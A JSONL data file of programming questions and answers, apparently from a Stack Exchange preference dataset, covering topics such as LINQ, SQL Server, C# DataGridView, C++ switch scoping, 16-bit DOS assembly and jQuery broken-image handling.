{"id": "hf_540e61727ebd", "question": "<p>I want to add a mailto link on our web page. I want to add a urgent priority to this mail.</p>\n", "question_body": "", "answer": "mailto links just doesn't support this feature , sorry.\nhowever, you could use a specific subject and filter it in your inbox\n```\n```\n<a href=\"mailto:webmaster@website.com?subject=Urgent\">Send a email</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.586458"}
{"id": "hf_a17ee4ade514", "question": "<p>How does it work, what is it used for and when should one use it?</p>\n", "question_body": "", "answer": "Directly from the\nStrategy Pattern Wikipedia article\n:\nThe strategy pattern is useful for situations where it is necessary to dynamically swap the algorithms used in an application. The strategy pattern is intended to provide a means to define a family of algorithms, encapsulate each one as an object, and make them interchangeable. The strategy pattern lets the algorithms vary independently from clients that use them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.617878"}
{"id": "hf_0f8ebafd6e6d", "question": "<p>I've got the following SQL:</p>\n\n<pre><code>select * from transaction_log where stoptime like '%2008%'\n</code></pre>\n\n<p>How do I write this in LINQ to SQL syntax?</p>\n", "question_body": "", "answer": "If you want to use the literal method, it's like this:\n```\n```\nvar query = from l in transaction_log\n            where SqlMethods.Like(l.stoptime, \"%2008%\")\n            select l;\n```\n```\nAnother option is:\n```\n```\nvar query = from l in transaction_log\n        where l.stoptime.Contains(\"2008\")\n        select l;\n```\n```\nIf it's a DateTime:\n```\n```\nvar query = from l in transaction_log\n        where l.stoptime.Year = 2008\n        select l;\n```\n```\nThat method is in the\nSystem.Data.Linq.SqlClient\nnamespace", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.708256"}
{"id": "hf_56afdfa3a462", "question": "<p>AKA - What's this obsession with pointers?</p>\n\n<p>Having only really used modern, object oriented languages like ActionScript, Java and C#, I don't really understand the importance of pointers and what you use them for. What am I missing out on here?</p>\n", "question_body": "", "answer": "Pointers are for directly manipulating the contents of memory.\nIt's up to you whether you think this is a good thing to do, but it's the basis of how anything gets done in C or assembler.\nHigh-level languages hide pointers behind the scenes: for example a reference in Java is implemented as a pointer in almost any JVM you'll come across, which is why it's called NullPointerException rather than NullReferenceException. But it doesn't let the programmer directly access the memory address it points to, and it can't be modified to take a value other than the address of an object of the correct type. So it doesn't offer the same power (and responsibility) that pointers in low-level languages do.\n[Edit: this is an answer to the question 'what's this obsession with pointers?'. All I've compared is assembler/C-style pointers with Java references. The question title has since changed: had I set out to answer the new question I might have mentioned references in languages other than Java]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.746277"}
{"id": "hf_1219c08240ff", "question": "<p>How do I programmatically set the record pointer in a C# DataGridView?  </p>\n\n<p>I've tried \"DataGridView.Rows[DesiredRowIndex].Selected=true;\", and that does not work.  All it does is highlight that row within the grid; it doesn not move the record pointer to that row.</p>\n", "question_body": "", "answer": "To change the active row for the datagrid you need to set the current cell property of the datagrid to a non-hidden non-disabled, non-header cell on the row that you have selected. You'd do this like:\n```\n```\ndataGridView1.CurrentCell = this.dataGridView1[YourColumn,YourRow];\n```\n```\nMaking sure that the cell matches the above criteria. Further information can be found at:\nhttp://msdn.microsoft.com/en-us/library/yc4fsbf5.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.795280"}
{"id": "hf_f35405aad051", "question": "<p>I have a datagridview  with a DataGridViewComboboxColumn column with 3 values:</p>\n\n<p>\"Small\", \"Medium\", \"Large\"</p>\n\n<p>I get back the users default which in this case is \"Medium\"</p>\n\n<p>I want to show a dropdown cell in the datagridview but default the value to \"Medium\".  i would do this in a regular combobox by doing selected index or just stting the Text property of a combo box.</p>\n", "question_body": "", "answer": "Are you retrieving the user data and attempting to set values in the DataGridView manually, or have you actually bound the DataGridVew to a data source? Because if you've bound the grid to a data source, you should just need to set the DataPropertyName on the column to be the string name of the object Property:\n```\n```\n[DataGridViewComboboxColumnName].DataPropertyName = \"PropertyNameToBindTo\";\n```\n```\nOr do you mean you want it to default to Medium for a new row?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.845533"}
{"id": "hf_9e3005c71381", "question": "<p>What are the typical average bytes-per-character rates for different unicode encodings in different languages?</p>\n\n<p>E.g. if I wanted the smallest number of bytes to encode some english text, then on average UTF-8 would be 1-byte per character and UTF-16 would be 2 so I'd pick UTF-8.</p>\n\n<p>If I wanted some Korean text, then UTF-16 might average about 2 per character but UTF-8 might average about 3 (I don't know, I'm just making up some illustrative numbers here).</p>\n\n<p>Which encodings yield the smallest storage requirements for different languages and character sets?</p>\n", "question_body": "", "answer": "For any given language, your bytes-per-character rates are fairly constant, because most languages are allocated to contiguous code pages. The big exception is accented Latin characters, which are allocated higher in the code space than the unaccented forms. I don't have hard numbers for these.\nFor languages with contiguous character allocation, there is a\ntable with detailed numbers for various languages\non Wikipedia. In general, UTF-8 works well for most small character sets (except the ones allocated on high code pages), and UTF-16 is great for two-byte character sets.\nIf you need denser compression, you may also want to look at\nUnicode Technical Note 14\n, which compares some special-purpose encodings designed to reduce data size for a variety of languages. But these techniques aren't especially common.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.921242"}
{"id": "hf_38be9eb98224", "question": "<p>Why does C++ Builder 6 always compile all files? </p>\n\n<p>I make some changes on one file but BCB 6 compiles all files when I start the app. Any idea? I use Windows XP SP2.</p>\n", "question_body": "", "answer": "Are you source files and binary objects located on the same machine? If not sounds like you have a network time sync issue.\nIf they are its most likely a header file issue, either the compiler include files have a modified date some time in the future or your application is dependent on some header file that changes during compilation say from a COM import.\nEDIT: Check the setting VS has a flag to always re-compile, this might be true for BCB too, if set then unset it. Another possibility is that pre-compiled headers are miss-configured to generate on every source file.\nI am not familiar with BCB 6 to give a more precise answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.959694"}
{"id": "hf_1fa46292db16", "question": "<p>How can I add a column with a default value to an existing table in <a href=\"http://en.wikipedia.org/wiki/Microsoft_SQL_Server#Genesis\" rel=\"noreferrer\">SQL Server 2000</a> / <a href=\"http://en.wikipedia.org/wiki/Microsoft_SQL_Server#SQL_Server_2005\" rel=\"noreferrer\">SQL Server 2005</a>?</p>\n", "question_body": "", "answer": "```\n```\nALTER TABLE ADD ColumnName {Column_Type} Constraint\n```\n```\nThe MSDN article\nALTER TABLE (Transact-SQL)\nhas all of the alter table syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:05.985606"}
{"id": "hf_4ca04cd384a2", "question": "<p>I am working on a SQL query that reads from a SQLServer database to produce an extract file. One of the  requirements to remove the leading zeroes from a particular field, which is a simple <code>VARCHAR(10)</code> field. So, for example, if the field contains '00001A', the SELECT statement needs to return the data as '1A'.</p>\n\n<p>Is there a way in SQL to easily remove the leading zeroes in this way? I know there is an <code>RTRIM</code> function, but this seems only to remove spaces. </p>\n", "question_body": "", "answer": "```\n```\nselect substring(ColumnName, patindex('%[^0]%',ColumnName), 10)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.011765"}
{"id": "hf_af6cf15c7d2f", "question": "<p>What do you find is the optimal setting for mysql slow query log parameter, and why?</p>\n", "question_body": "", "answer": "Whatever time /you/ feel is unacceptably slow for a query on your systems.\nIt depends on the kind of queries you run and the kind of system; a query taking several seconds might not matter if it's some back-end reporting system doing complex data-mining etc where a delay doesn't matter, but might be completely unacceptable on a user-facing system which is expected to return results promptly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.050678"}
{"id": "hf_24cd32d121a7", "question": "<p>Is there any way that I can programmatically create (and I guess access) hidden folders on a storage device from within c#?</p>\n", "question_body": "", "answer": "```\n```\nusing System.IO; \n\nstring path = @\"c:\\folders\\newfolder\"; // or whatever \nif (!Directory.Exists(path)) \n{ \nDirectoryInfo di = Directory.CreateDirectory(path); \ndi.Attributes = FileAttributes.Directory | FileAttributes.Hidden; \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.248257"}
{"id": "hf_8d6e22dc3f7b", "question": "<p>I've always wondered this - why can't you declare variables after a case label in a switch statement?  In C++ you can declare variables pretty much anywhere (and declaring them close to first use is obviously a good thing) but the following still won't work:</p>\n\n<pre><code>switch (val)  \n{  \ncase VAL:  \n  // This won't work\n  int newVal = 42;  \n  break;\ncase ANOTHER_VAL:  \n  ...\n  break;\n}  \n</code></pre>\n\n<p>The above gives me the following error (MSC):</p>\n\n<blockquote>\n  <p>initialization of 'newVal' is skipped by 'case' label</p>\n</blockquote>\n\n<p>This seems to be a limitation in other languages too.  Why is this such a problem?</p>\n", "question_body": "", "answer": "The whole switch statement is in the same scope. To get around it, do this:\n```\n```\nswitch (val)\n{\n    case VAL:\n    {\n        // This **will** work\n        int newVal = 42;\n    }\n    break;\n\n    case ANOTHER_VAL:\n      ...\n    break;\n}\n```\n```\nNote\nthe brackets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.272725"}
{"id": "hf_340d78c5d0e7", "question": "<p>I have a SQL Server 2000, C# &amp; ASP.net web app.  We want to control access to it by using Active Directory groups.  I can get authentication to work if the group I put in is a 'Global' but not if the group is 'Universal'.  </p>\n\n<p>How can I make this work with 'Universal' groups an well?\nHere's my authorization block:</p>\n\n<pre><code>  &lt;authorization&gt;\n  &lt;allow roles=\"domain\\Group Name Here\"/&gt;\n  &lt;allow roles=\"domain\\Group Name Here2\"/&gt;\n  &lt;allow roles=\"domain\\Group Name Here3\"/&gt;\n  &lt;deny users=\"*\"/&gt;\n  &lt;/authorization&gt;\n</code></pre>\n", "question_body": "", "answer": "Depending on your Active Directory topology, you might have to wait for the Universal Group membership to replicate around to all the Domain Controllers.  Active Directory recommends the following though:\nCreate a Global group for each domain, e.g., \"Domain A Authorized Users\", \"Domain B Authorized Users\"\nPut the users you want from Domain A in the \"Domain A Authorized Users\" group, etc\nCreate a Universal group in the root domain \"All Authorized Users\"\nPut the Global groups in the Universal group\nSecure the resource using the Universal group: <allow roles=\"root domain\\All Authorized Users/>\nWait for replication\nOne advantage of this scheme is that when you add a new user to one of the Global groups, you won't have to wait for GC replication.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.303652"}
{"id": "hf_9ed98559fd3b", "question": "<p>Based on a simple test I ran, I don't think it's possible to put an inline &lt;style&gt; tag into an ASP.NET server control.  The style did not end up rendering to the output HTML.  Even if it was possible, I'm sure it is bad practice to do this.</p>\n<p>Is it possible to do this?  I can see it being useful for quick prototypes that just have 1 or 2 CSS classes to apply.</p>\n", "question_body": "", "answer": "I think you will have to add it as an attribute to the server control... for it to render to HTML.\nSo basically (in C#),\n```\n```\nControlName.Attributes[\"style\"] = \"color:red\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.340685"}
{"id": "hf_cee14c2c22e3", "question": "<p>I use to run</p>\n\n<pre><code>$s =~ s/[^[:print:]]//g;\n</code></pre>\n\n<p>on Perl to get rid of non printable characters. </p>\n\n<p>In Python there's no POSIX regex classes, and I can't write [:print:] having it mean what I want. I know of no way in Python to detect if a character is printable or not. </p>\n\n<p>What would you do? </p>\n\n<p>EDIT: It has to support Unicode characters as well. The string.printable way will happily strip them out of the output. \ncurses.ascii.isprint will return false for any unicode character.</p>\n", "question_body": "", "answer": "The best I've come up with now is (thanks to the python-izers above)\n```\n```\ndef filter_non_printable(str):\n  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])\n```\n```\nThis is the only way I've found out that works with Unicode characters/strings\nAny better options?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.382530"}
{"id": "hf_5a24fdfe8f76", "question": "<p>I've started a conversion of a project to Moose and the first thing I noticed was that my critic/tidy tests go to hell. Moose, Tidy and Critic don't seem to like each other as much as they used to.</p>\n\n<p>Are there docs anywhere on how to make critic/tidy be more appreciative of the Moose dialect? What do most Moose users do? Relax/ditch critic for the more heavy Moose modules? Custom policies?</p>\n", "question_body": "", "answer": "Both of them can be configured into detail.\nI have no idea why perltidy wouldn't like it,\nit has nothing to do with it\n. Perltidy only governs style. You can change the style of your code without changing any functionality, it's mostly a matter of whitespace really. You should either change your style or change the perltidy configuration using the .perltidyrc file.\nI don't know what problems perlcritic has with it (lvalue methods perhaps?), but you could consider turning off those specific policies using the .perlcriticrc file. Also, if your perlcritic is old you may want to upgrade it, as some old versions gave some incorrect errors in Moose classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.446325"}
{"id": "hf_b4ab19eda595", "question": "<p>I've implemented a stopwatch that works fine without considering that bank holidays and weekends shouldn't be counted in the total duration. I was looking for some open-source library where I could get the elapsed time, passing a start instant, end instant and a set of bank holidays (weekends aren't counted in). The only library that makes me things easier is net.sf.jtemporal, but I have still to amplify the functionality.\nCould anyone tell me if there is some useful library to get the wanted functionality?</p>\n", "question_body": "", "answer": "Do you only count Bank Hours too?  9AM - 3PM?  Or is it 24 hours a day?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.483642"}
{"id": "hf_e6f405b01216", "question": "<p>I'm trying to create a self signed certificate for use with Apache Tomcat 6.  Every certificate I can make always results in the browser connecting with AES-128.  The customer would like me to demonstrate that I can create a connection at AES-256.</p>\n\n<p>I've tried java's keytool and openssl.  I've tried with a variety of parameters, but can't seem to specify anything about the keysize, just the signature size.</p>\n\n<p>How can I get the browser-tomcat connection to use AES-256 with a self signed certificate?</p>\n", "question_body": "", "answer": "danivo, so long as the server's cert is capable of AES encryption, the level of encryption between the browser and the server is independent of the cert itself -- that level of encryption is negotiated between the browser and server.  In other words, my understanding is that the cert doesn't specify the level of encryption, just the\ntype\nof encryption (e.g., AES).  See\nthis link\n(PDF) for verification of this, and how the cert resellers upsell \"256-bit-capable\" certs despite the cert not being what determines 256-bit capability.\nSo you're just fine with the cert you have that supports AES-128 -- and they key is to figure out how to get Tomcat to support AES-256 (since most, if not all, major browsers certainly support it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.521363"}
{"id": "hf_5a74130dc2db", "question": "<p>Is there any way to create a ODBC DSN with C#?</p>\n\n<p>Maybe a P/invoke?</p>\n", "question_body": "", "answer": "Following resources might be helpful:\nMSDN:\nHow To Use the ODBC .NET Managed Provider in Visual C# .NET and Connection Strings\nCodeProject.com\nAn ODBC (DSN/Driver) Manager DLL written in C#\nYou can try to invoke functions:\nSQLWriteDSNToIni and ConfigDSN (MSDN links are dead for some reason, try to google by functions names)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.550549"}
{"id": "hf_9bd8cac75e24", "question": "<p>I'm just getting started with learning about Unit testing (and TDD in general).  My question is does the latest version of NUnit support working in VS2008 with .NET 3.5?  I've looked at the documentation pages at NUnit and they don't mention it. </p>\n\n<p>If anyone has worked with it in 3.5 are there any limitations or features that don't work/need workarounds?</p>\n", "question_body": "", "answer": "I've been using nUnit with 3.5. As long as you have a version that works with 2.0 you should be fine - same CLR and all that. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.663075"}
{"id": "hf_cecd3564f06f", "question": "<p>I have some code which is supposed to display a short message.  Here's the pertinent code:</p>\n\n<pre><code>DATA    SEGMENT 'DATA'\nMSG DB  0AH, 0DH, 'Hello, Adam', '$'\nCHAR    DB  00H\nDATA ENDS\n\nCODE    SEGMENT 'CODE'\nPRINT_MSG:\n    MOV AH, 09H ;Command to print string of characters\n    MOV DX, OFFSET MSG  ;Mov address of message into DX\n    INT 21H     ;DOS Interrupt\n    JMP WAITING ;Loop back to waiting state\nCODE ENDS\n</code></pre>\n\n<p>And the output is:</p>\n\n<pre><code>E:\\ece323\\software\\lab2&gt;MAIN.EXE\n?F ^?¶ ? N?   ?               -!-\n\nHello, Adam-\n</code></pre>\n\n<p>What is going on here?</p>\n", "question_body": "", "answer": "My guess is that your DS does not point to your data-segment.\nInt21 Function 0x09 takes the string from DS:DX.\nRemember that DX is only a 16 bit register. To access data outside the 16 bit range you have to use segment registers. These are called DS and ES for data, CS for code and SS for the stack (there are FS and GS on i386 as well).\nThe exact address you load from is given by 16 * segment_register + offset_register. Int21 cannot guess where your DS is, so you have to load it prior to call the interrupt.\nI guess you have never initialized your DS register, so it most likely points to the code, not the data-segment.\nTry to replace your\n```\n```\nMOV DX, offset MSG\n```\n```\nby:\n```\n```\nLDS DX, MSG  ; Check that, it's been ages since I've written 16 bit code.\n```\n```\nUnfortunatley it's been years since I've last played with 16 bit assembler, so I can't check it, but LDS should do the trick.\nYou may also load DS indirectly at your program startup by something like this:\n```\n```\nMOV AX, SEG DATA  ; check that - can be SEGMENT or so as well.\n  MOV DS, AX\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.762422"}
{"id": "hf_278b11c5f058", "question": "<p>We are currently testing a Java Swing application for it's performance. I wonder if there is a good tool to automate this?</p>\n", "question_body": "", "answer": "A few years ago I used\nJMeter\nfor such a task. I generally enjoyed using it, though I never did much research on what else is available and I don't know if it's still actively developed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.842735"}
{"id": "hf_d16d0ee1a4b9", "question": "<p>I'm looking for an Access 2007 equivalent to SQL Server's COALESCE function.</p>\n\n<p>In SQL Server you could do something like:</p>\n\n<p><strong>Person</strong></p>\n\n<pre><code>John\nSteve\nRichard\n</code></pre>\n\n<p><strong>SQL</strong></p>\n\n<pre><code>DECLARE @PersonList nvarchar(1024)\nSELECT @PersonList = COALESCE(@PersonList + ',','') + Person\nFROM PersonTable\n\nPRINT @PersonList\n</code></pre>\n\n<p>Which produces: John, Steve, Richard</p>\n\n<p>I want to do the same but in Access 2007.</p>\n\n<p>Does anyone know how to combine rows like this in Access 2007?</p>\n", "question_body": "", "answer": "I think Nz is what you're after, syntax is\n```\nNz(variant, [if null value])\n```\n. Here's the documentation link:\nNz Function\n```\n```\n---Person--- \nJohn\nSteve\nRichard\n\nDECLARE @PersonList nvarchar(1024)\nSELECT @PersonList = Nz(@PersonList + ',','') + Person\nFROM PersonTable\n\nPRINT @PersonList\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.893049"}
{"id": "hf_5ce4ccb30f5d", "question": "<p>I have a web page that includes a bunch of images. Sometimes the image isn't available, so a broken image is displayed in the client's browser.</p>\n\n<p>How do I use jQuery to get the set of images, filter it to broken images then replace the src?</p>\n\n<hr/>\n\n<p>--I thought it would be easier to do this with jQuery, but it turned out much easier to just use a pure JavaScript solution, that is, the one provided by Prestaul.</p>\n", "question_body": "", "answer": "Handle the\n```\nonError\n```\nevent for the image to reassign its source using JavaScript:\n```\n```\nfunction imgError(image) {\n    image.onerror = \"\";\n    image.src = \"/images/noimage.gif\";\n    return true;\n}\n```\n```\n```\n```\n<img src=\"image.png\" onerror=\"imgError(this);\"/>\n```\n```\nOr without a JavaScript function:\n```\n```\n<img src=\"image.png\" onError=\"this.onerror=null;this.src='/images/noimage.gif';\" />\n```\n```\nThe following compatibility table lists the browsers that support the error facility:\nhttp://www.quirksmode.org/dom/events/error.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.931235"}
{"id": "hf_0575fb794023", "question": "<p>Has anyone else experienced (and possibly solved) unintentional pitch changes using MS SAPI TTS voices? </p>\n\n<p>I'm using the SpVoice automation interface with SAPI 5.1.</p>\n\n<p>Right now, my application (VB6 app) can get into a state where the TTS (Microsoft Anna) starts to sound like a chipmunk (proper rate, but high pitch) and even a reboot of Vista does not correct the issue. </p>\n\n<p>I'm passing in XML to the Voice.Speak() function. I've tried sending &lt; pitch absmiddle=\"0\" /> before all other XML and it still does not correct the pitch issue. When I try the TTS voice preview in the Speech control panel, the voice has a normal pitch.</p>\n\n<p>The issue has occurred for me in XP in the past, however a reboot seemed to correct it.</p>\n", "question_body": "", "answer": "I haven't seen that happen, although my experience is mostly with SAPI 5.3 with SSML, which gets translated (under the covers) to SAPI TTS.\nHave you tried surrounding your text with the\n```\n<pitch absmiddle=\"0\">\n```\nYour Text Here  instead of just at the front of the text?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:06.968859"}
{"id": "hf_e1ce243d52e3", "question": "<p>I need to reverse engineer a Microsoft SQL Server 2008 in order to create a Microsoft Visio 2007 Database Model Diagram. So I choose \"Reverse Engineer\" from the Database menu to connect to the DB.</p>\n\n<p>I configured the Microsoft SQL Server Visio driver so that is uses SQL Server Native Client 10.0 as the ODBC driver. Afterwards I created a User DSN which connects to my DB. This DSN works (at least the provided test is successful). After clicking next in the Reverse Engineer Wizard, Visio kindly asks for my credentials which I properly provide, but after clicking OK I receive the following message:</p>\n\n<blockquote>\n  <p>The currently selected Visio driver is not compatible with the data source.</p>\n</blockquote>\n\n<p>I tried using the old SQL Server ODBC driver, by also reconfiguring the Visio driver of course. It does not work too. </p>\n", "question_body": "", "answer": "From\nMicrosoft support\nvia the Microsoft forums:\nFurther investigation reveals that this is expected behavior for Visio 2007. When Visio opens a connection using the Visio SQL Server Driver it checks the server version and since SQL Server 2008 shipped after Visio 2007 it doesn't recognise SQL Server 2008 as a supported version and closes the connection. You can wait for a future version of Visio to ship which does recognise SQL Server 2008 or use the Visio Generic ODBC driver which can successfully open connections to SQL Server 2008. A third option is to use a copy of SQL Server 2005 for initial reverse engineering. The Visio team is aware of this issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.082761"}
{"id": "hf_98af42027330", "question": "<pre><code>class A : IFoo\n{\n}\n\n...\n\nA[] arrayOfA = new A[10];\n\nif(arrayOfA is IFoo[]) \n{\n    // this is not called\n}\n</code></pre>\n\n<p>Q1: Why is <code>arrayOfA</code> not an array of <code>IFoos</code>?</p>\n\n<p>Q2: Why can't I cast <code>arrayOfA</code> to <code>IFoo[]</code>?</p>\n", "question_body": "", "answer": "You could try\n```\n```\nif (arrayofA[0] is IFoo) {.....}\n```\n```\nwhich sort of answers your question.\n```\narrayOfA\n```\nis an array. An array is an object which implements\n```\nICloneable\n```\n,\n```\nIList\n```\n,\n```\nICollection\n```\n, &\n```\nIEnumerable\n```\n.\n```\nIFoo\n```\nisn't among them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.108196"}
{"id": "hf_57a6460940ab", "question": "<p>I have an announcements list on one site. I want to add it as a web part to the top of each subsite. How can I do this in MOSS?</p>\n", "question_body": "", "answer": "I've used the Data View Web Part in this case.  Create a web service data source to get the data from the other site's list.\nMuch like this:\nhttp://www.sharepointblogs.com/ssa/archive/2007/02/23/showing-web-service-data-in-a-data-view-web-part.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.158541"}
{"id": "hf_bece72e32d7c", "question": "<p>I am using CodeDom to generate dynamic code based on user values. One of those values controls what the name of the class I'm generating is. I know I could sterilize the name based on language rules about valid class names using regular expressions, but I'd like to know if there is a specific method built into the framework to validate and/or sterilize a class name.</p>\n", "question_body": "", "answer": "I found an answer to my question. I can call\n```\n```\nCodeCompiler.ValidateIdentifiers(class1);\n```\n```\nwhere class1 is a CodeObject to validate all identifiers in that CodeDom tree and below. So I can call this right after I create my CodeTypeDeclaration class1 to validate just the class name, or I can build up my CodeDom and then call this at the end to validate all the identifiers in my tree. Just what I needed!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.183365"}
{"id": "hf_26c33f7f151a", "question": "<p>I have a Win-CGI application I am currently converting to ISAPI.</p>\n\n<p>The application uses the TDataset descendants for Extended Systems Advantage Database Server.</p>\n\n<p>As there can be only one instance of a TAdsSettings object, this must be \nin the main thread.</p>\n\n<p>TAdsQuery objects are needed in the request threads.</p>\n\n<p>Will this work - that is, will the AdsQueries in the request threads \npick up the global settings from the AdsSettings object in the main \nthread, and will this be thread safe?</p>\n", "question_body": "", "answer": "Make sure the AdsQueries use Synchronize to access the TAdsSettings directly (or use a messaging system to comunicate between worker threads and main thread instead of accessing directly) if they are not in the main thread (i.e.\n```\nSystem.MainThreadID <> Windows.GetCurrentThreadID\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.236144"}
